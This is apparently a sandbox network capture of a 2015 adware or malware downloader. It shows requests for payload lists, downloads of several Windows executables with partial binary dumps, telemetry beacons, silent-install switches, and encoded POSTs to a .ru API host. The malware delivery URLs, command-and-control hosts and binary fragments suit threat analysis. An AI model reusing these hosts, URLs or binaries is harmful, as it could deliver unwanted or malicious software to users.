live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 202
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:36 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:36 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://y9807akgtzcrolb.nidetafzy.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:40 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:40 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 378
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://y9807akgtzcrolb.nidetafzy.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:51 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:51 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 164
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://VVV.djapp.info/?file=bundle&v=2&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:52 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:52 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 177
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://VVV.djapp.info/?file=bundle&v=2&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:55:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:55
:02 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 199
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6ba0a6e0e.exe&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:55:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:55
:02 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}..



GET /cmmdWriter.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: d2fpsq9kg43yka.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/x-msdownload
Content-Length: 53153
Connection: keep-alive
Date: Tue, 22 Dec 2015 05:09:11 GMT
Last-Modified: Tue, 22 Dec 2015 05:05:38 GMT
ETag: "0a28d9ded5b7a6a917e04b8b826005c6"
Accept-Ranges: bytes
Server: AmazonS3
Age: 2694
X-Cache: Hit from cloudfront
Via: 1.1 f04ebace8f2f02676b5355bccdbf3993.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LvYyDAIsWIa9ZcHEMjg40cCnK1GuZ-6Y0TX7qvUvd0JZyq-P0ZZBEg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......<...x...x
...x.......z...x...........i...,...t.......y...Richx..................
.PE..L......K.................\....9......0.......p....@..............
............PU..............................................s.......@U
......................................................................
........p...............................text...,Z.......\.............
..... ..`.rdata.......p.......`..............@[email protected]..........
[email protected]:..........................rsrc......
[email protected]..............@..@.........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected][email protected]...
Pr@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@
..u....E..9}[email protected].}[email protected]
[email protected]@.W...E..E.h [email protected]...\r@._
^3.[.....L$...&z...Si.....VW.T.....tO.q.3.;5.&z.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.&z.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst= HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: livestatscounter.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 22 Dec 2015 05:54:04 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.30
515..hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe.. /md=2 /v=ob
i-tot-mdh-wtp-lvs-ppt-cpm-opw-jot-agb..hXXp://livestatscounter.com/Sys
Info/validator/timer.php..hXXps://s3.amazonaws.com/cf_vopackage/SysInf
o/SearchUpdater.exe.. /idn /ch=NOCHPC..hXXp://y9807akgtzcrolb.nidetafz
y.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiL
CJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ
2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0..
 ..hXXp://VVV.djapp.info/?file=bundle&v=2.. -pub_id=353 -adv_id=128..h
ttp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6ba0a6e0e.e
xe.. /ci 11612..hXXp://cdn-14b7.kxcdn.com/Cdn.exe.. ..hXXp://VVV.czzsy
zgm.com/pptxd.exe.. ..hXXp://livestatscounter.com/Generic/lvsd.php?sid
=775876CDDF-XXDFEE-DAASD&ch=NOCHPC.. ..hXXp://counter99.com/SysInfo/wt
hrcd.php.. install..hXXp://mobilitydata5.com/SysInfo/tem.php?sid=83837
567483.. ..hXXp://mobilitydata5.com/SysInfo/countup.php?sid=554655542.
. ..hXXp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd
_re.exe../VERYSILENT..hXXp://counter99.com/SysInfo/r2d.php?guid=587785
-23098-234-1123F.. ..hXXp://VVV.codec13sudha.com/download.php?l4J9dw==
..hXXp://download-servers.com/SysInfo/Validate.exe.. /s..hXXp://downlo
ad-servers.com/SysInfo/Validate.exe.. /s..0......


GET /SysInfo/validator/timer.php HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: livestatscounter.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 22 Dec 2015 05:54:15 GMT
Content-Type: application/octet-stream
Content-Length: 127888
Connection: keep-alive
X-Powered-By: PHP/5.5.30
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename=YJHCp1.exe
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................0...............................................t....
... ..................................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...0...............................rsrc.
....... .......z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>


POST /thankyou.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: VVV.downloadsoup.com
Content-Length: 469
Connection: Keep-Alive
Cache-Control: no-cache

cnt=d0f2c34617a1ffc31fbdc55c0d335443&_srvlog=NSI &browser=ie&capp=nsdummy&cid=11612¤t_screen=Finish_Last_Screen&is=0&netfs=0&os=&sysid=C8318CA6891F5119A9FD96EC19E98D71&sysid1=C8318CA6891F5119A9FD96EC19E98D71&te=1450763708&ts=1450763707&ver=1.1.2.41&c[OperaRUnew][s]=-2&c[Updater][s]=8&c[Updater][pi]=1&c[OperaRUnew][pi]=0&c[OperaRUnew][e]=0&c[OperaRUnew][ts]=0&c[OperaRUnew][te]=0&cmdl=C:DOCUME~1admLOCALS~1Temp
sz25.tmp /ci 11612&bti1=
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Date: Tue, 22 Dec 2015 05:55:05 GMT
Server: Apache/2.2.15 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Length: 14
Connection: keep-alive
....      ....



GET hXXp://events.zmdpzqvftnsc.com/?p=cHViX2lkPTM1MyZzZXR1cF9pZD0xJmV4dHJhX3BhcmFtcz1TaWxlbnRJbnN0YWxsZXIgZ2xvYmFsIHN0YXJ0JmV2ZW50PTExJnNpZD02NjYmbWFjPTc3NyZhZHZfaWQ9MTI4JmJpdmVyc2lvbj0xLjg= HTTP/1.1
Host: events.zmdpzqvftnsc.com
Proxy-Connection: Close


HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Dec 2015 06:00:51 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
0..



GET /prepreinstaller_win.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: dm8f7nsnj8uw1.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 252928
Connection: keep-alive
Date: Sun, 20 Dec 2015 07:25:50 GMT
Last-Modified: Sun, 20 Dec 2015 07:16:49 GMT
ETag: "61339cd2c2c6fb527c33cab5df1ba6e3"
Accept-Ranges: bytes
Server: AmazonS3
Age: 80342
X-Cache: Hit from cloudfront
Via: 1.1 c77b51ad135b3319a54e2e40de778962.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IaUXttvLyCuw9IKWClYglg3NkVpLsSUpkuslT7folIuSYMw4mm-fyQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$............}...}..
.}....W..}....b..}....c..}....Z..}...}...}....f..}....S..}...}^..}....
T..}..Rich.}..................PE..L....UvV............................
[email protected]............@...............
..................H...<................................ ...........
........................J..@...............|..........................
..text...a........................... ..`.rdata.......................
.......@[email protected][email protected]..............
.................@[email protected]..([email protected].........
......................................................................
......................................................................
......................................................................
......................................................................
.................................................T.B......U..V....T.B.
......E..t.V.....Y..^]...V..t.f.0f;1u.......Ju.3.^....f;.^[email protected],...
A..e.....3..u....C.3..G......w..}..E.f...u..E.....;.......3..U....U..K
..M....r.......f.<.=.........r...........P.E......Y..u.f.}. t.f.}./
.......{..r........M.f....E..f.Du.F...u}3..|u.....E.j..E.P3..,.B..*...
Ff.....|..E..M...........M.f.E..E...............f.E..E........E.3.f.E.
..D}..u.P.....G...|..}.3..}................j.Y;.}.3.... ...........|u.
....f..3..|].....E.j..E.P3..,.B..y...Cf.....|..E..M...........M.f.
<<< skipped >>>


POST /api HTTP/1.0
Connection: keep-alive
Content-Length: 836
Host: cuidu.sevential.ru
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}Tmo.8. .?uXlH.-...vW.^z..^W`...b.....d'...>*qr.p....c>.I....bU..R.R..).B1>g....b[.U.yE..G2&..%.DG#[email protected] [email protected]$M.....!~$.......CI..c.A....J.{..<..A..r ..Y.^{H.|.8~.... Y.Y"].K..m...=....Fwv........ ...8.&.d.%......SQ.>%_gX.m.{.....1..>[email protected]....?.//N.......G.....im79y.......93.F...a{..{k...hlv....j.
.;.^&v.......b.sE.w{...........Kn.V.n.p....s:.{....a........v0....u..Bl5.d......ql..n..v.........z..6.?C}k...i}..<....'......:.......E6....l^.{......r.W.w.. ..J. l.^.....W.ow.K.. ek . ..I................t..J..t=.Y. )9,..h6.%....1.U...kp..r.....].....I1.EVC.SU.....~G.F.b....9O.}..k...;....A...^T.\....`C,..-^?.....#...C/..N(^7.'9.....qV...*........z[email protected]
.<..Tq.......-...&ei.r..E..y)X..J...*.Y.D..s4)..Y...l..x.X.r....-.....P.\..,..[.L.y!...*d.._A=<..w....`....'..."
HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Tue, 22 Dec 2015 05:54:44 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.4.17
q...x..S.N.0........q.Y5...RQQ..}i*.q&..&..q.-..w......2.\..q|&LiF....
( ..L"/......i..e...$Y.W.......9"cS.!.$I.8.X.4....^Y.._ee....e]....i..
...;@l....-(,....a`.....M.3MT.....U.,..k..l.cQ..o.c5..S.<o.......au
.B.;..ZV*.l..[&w..=.W.v.....a......eb.E..M...c...N....... ..hc.P.j..$n
x;. ..%[email protected]..;............gme-X;..CM(,8.a...Z. .6.....E.....03..a. &
lt;....._...$.....6..|..L...q....!.;.'....Z.I.Q..3rf.........c..[p ...
....u]$.=(..-C..."../F...U.E.O..h.HM.\K..'...9..(..../.C.p9.Z....w$...
..O..y.......>.a..h`M5........^....~..._V,!....(Xoa.~' ..j.w.......
..&k}.....?.....N?..YY.Z$I.J...EV.q~.....~Eb?.......,..8.....g_#..



GET /SilentInstaller_dotnet4.exe HTTP/1.1
Host: dm8f7nsnj8uw1.cloudfront.net


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 321536
Connection: keep-alive
Date: Sun, 20 Dec 2015 07:25:59 GMT
Last-Modified: Sun, 20 Dec 2015 07:10:22 GMT
ETag: "65900d01bf13ed71406dd1ca1527cc86"
Accept-Ranges: bytes
Server: AmazonS3
Age: 80863
X-Cache: Hit from cloudfront
Via: 1.1 0ed2a932a304d3970026849f3c0f55a1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: KVAnzepwU8sfd1kHKEW9Y6ANK4ea_iTwIRhPbuCJlLFxEO1J_2bKHw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...DTvV
................................. ........@.. .......................@
............@.................................`...K...................
......... ....................................................... ....
........... ..H............text........ ...................... ..`.rsr
c...............................@[email protected]....... ....................
[email protected]..@ ..........
.................................(....*..~....*...(....*Vs....(....t..
.......*....*.*.5.(h...&*.2..(....&..Z*....0..........(......c.d(....&
..(......*..2..(....&..Z*....0..........(......c.d(....&..(......*..2.
.(....&..Z*....0..........(......c.d(....&..(......*..2..(....&..Z*...
.0..........(......c.d(....&..(......*..2..(....&..Z*....0..........(.
.....c.d(....&..(......*..2..(....&..Z*....0..........(......c.d(....&
..(......*..2..(....&..Z*....0..........(......c.d(....&..(......*..2.
.(....&..Z*....0..........(......c.d(....&..(......*..2..(....&..Z*...
.0..........(......c.d(....&..(......*..2..(....&..Z*....0..........(.
.....c.d(....&..(......*..2..(....&..Z*....0..........(......c.d(....&
..(......*..2..(....&..Z*....0..........(......c.d(....&..(......*..2.
.(....&..Z*....0..........(......c.d(....&..(......*..2..( ...&..Z*...
.0..........(......c.d(!...&..(......*..2..("...&..Z*....0..........(.
.....c.d(#...&..(......*..2..($...&..Z*....0..........(......c.d(%
<<< skipped >>>


GET /7121923af824073a25b2b7e6ba0a6e0e.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: d1mdi78qyff344.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/x-msdownload
Content-Length: 58595
Connection: keep-alive
Date: Wed, 09 Dec 2015 22:28:08 GMT
Last-Modified: Wed, 09 Dec 2015 20:28:24 GMT
ETag: "a66865416d1330f1c571c12f4f8c2fea"
Accept-Ranges: bytes
Server: AmazonS3
Age: 2381
X-Cache: Hit from cloudfront
Via: 1.1 9e9bbfd35272f6abc198cd4baf6716ad.cloudfront.net (CloudFront)
X-Amz-Cf-Id: RB2kLZssafDVnmvYJIT9P83xYhgXGqKrOTDH4d0MuMsV4CLK3MJwew==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......................................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
...............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>


POST /api HTTP/1.0
Connection: keep-alive
Content-Length: 843
Host: cuidu.sevential.ru
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}T.n.8....O)j.$u..7'..{....i..((i...D-I....{...E.E^......kZ...). ! ..%USTM.'..A.H.:..)..~...(...........G.)..j...\.a...("[......y.5X.E....N........e...2.u.....A...#X.L..,...A.........$..1O.j'.....=..XP .67 O4f..J[....-................U...-W.......e.....S..?....[S.s.../..?..._.M.....R.6g.Y.f...6...~...A;y.u.;..}.O..f1<..n.9.5.9~sc}.....9..%....n<kc.7...).P....e...............AZx..u6.T......U.....A..>=.5.{.....jO.1|.
Z...........}.jk..y.1....p.......P...:[email protected].`...a".S..F./.......C........?}#=.^..$%7Z.E.v.pe..nL...d.[S.I....Q.Ajr..#....l..VU......c.......e..40X.^.....nS..r.......k..i.............F.Wd.99......w....kp........,...@[email protected].....=I1%>....$,..8.h{...{.c.m.....B...&.......N.....:9m.l..7...YN.-\.m..,.<.E..d..,.e.RV.y.2.. KPd,..{..k...u...k........S.%.......2.xw...tY.UQChE.......[.x.....'.).C
HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Tue, 22 Dec 2015 05:54:46 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.4.17
G...x..S]o.0.. ......NZ..iC...../.Y.s.ZM..I.....k..c../.....k.8).e.L.h
U.H.r). ..HVq.U.H.4.U!.|uO..m....2..79.y.g)dB.y*...*)..^VI..X.....D.i.
.u...bU...i.`...n.=...v|m..mb..m.a......Z.JusQw-W...tqf..........I.@.[
..ZV.....[.w....'y............,db.E......g......Al .....]...S..G..7...
.sdP.......yt..(.6......gkg..)^.k...............u..T$.L.T..S.....#<
.....;}I.O8^.."..'N..pBv....a.........4e^,[email protected].?..x.... ...e..
..H8t`X...eV>.L...y.7....1 6...k......9E.S%.......#....|......3}c..
...3>..,."J.............{....G.:..M...p.~.k..j{!....O...~.r...(uz..
........IL.Z.y.J...EV>..$..:....R1..



GET /?file=bundle&v=2 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: VVV.djapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 22 Dec 2015 06:00:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: hXXp://dm8f7nsnj8uw1.cloudfront.net/prepreinstaller_win.exe
0..HTTP/1.1 302 Moved Temporarily..Server: nginx..Date: Tue, 22 Dec 20
15 06:00:48 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Enco
ding: chunked..Connection: keep-alive..Location: hXXp://dm8f7nsnj8uw1.
cloudfront.net/prepreinstaller_win.exe..0..



POST /api HTTP/1.0
Connection: keep-alive
Content-Length: 180
Host: cuidu.sevential.ru
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x....ND1.E..k
[email protected].!9..5.....C.,.i..;.6...F*c...;...K.n......z.>o.. c..a...{a.-.K./.......V.P:.3.W...H....M.b.y.%h}R...>v8I...*Z.I.Cr6.$..;.i>..W....3T@....|.>.
HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Tue, 22 Dec 2015 05:54:47 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.4.17
7...x......@...^.`...t#.......Q..P.t..."Z..}=Xf{U.=..R...$.~z..\..



POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 115
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4958\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 115
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4959\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 115
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4960\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:02 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 115
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4961\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:02 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:02 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}..



GET hXXp://json.zmdpzqvftnsc.com/?adv_id=128&domain=ZMDpzqvFtnSc.com&dotnet=4&event=2&file=installer&ip=52.1.45.42:80&pub_id=353&s=1&offer_version=1.8&dotnet=4&osver=5.1&lang=en&w64=0 HTTP/1.1
Host: json.zmdpzqvftnsc.com


HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Dec 2015 06:00:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
373..{ .."advID":128, .."primaryOfferInstallPath":"hXXps://d20ssor9owi
zgr.cloudfront.net/chromiuminstaller6/chromium-installer-sharp_dotnet4
.exe", .."secondaryOfferInstallPath":"hXXps://d20ssor9owizgr.cloudfron
t.net/chromiuminstaller6/chromium-installer-sharp_dotnet4.exe", .."req
uireUnzip":false, .."requireSuccessInstallCheck":true, .."requireExitC
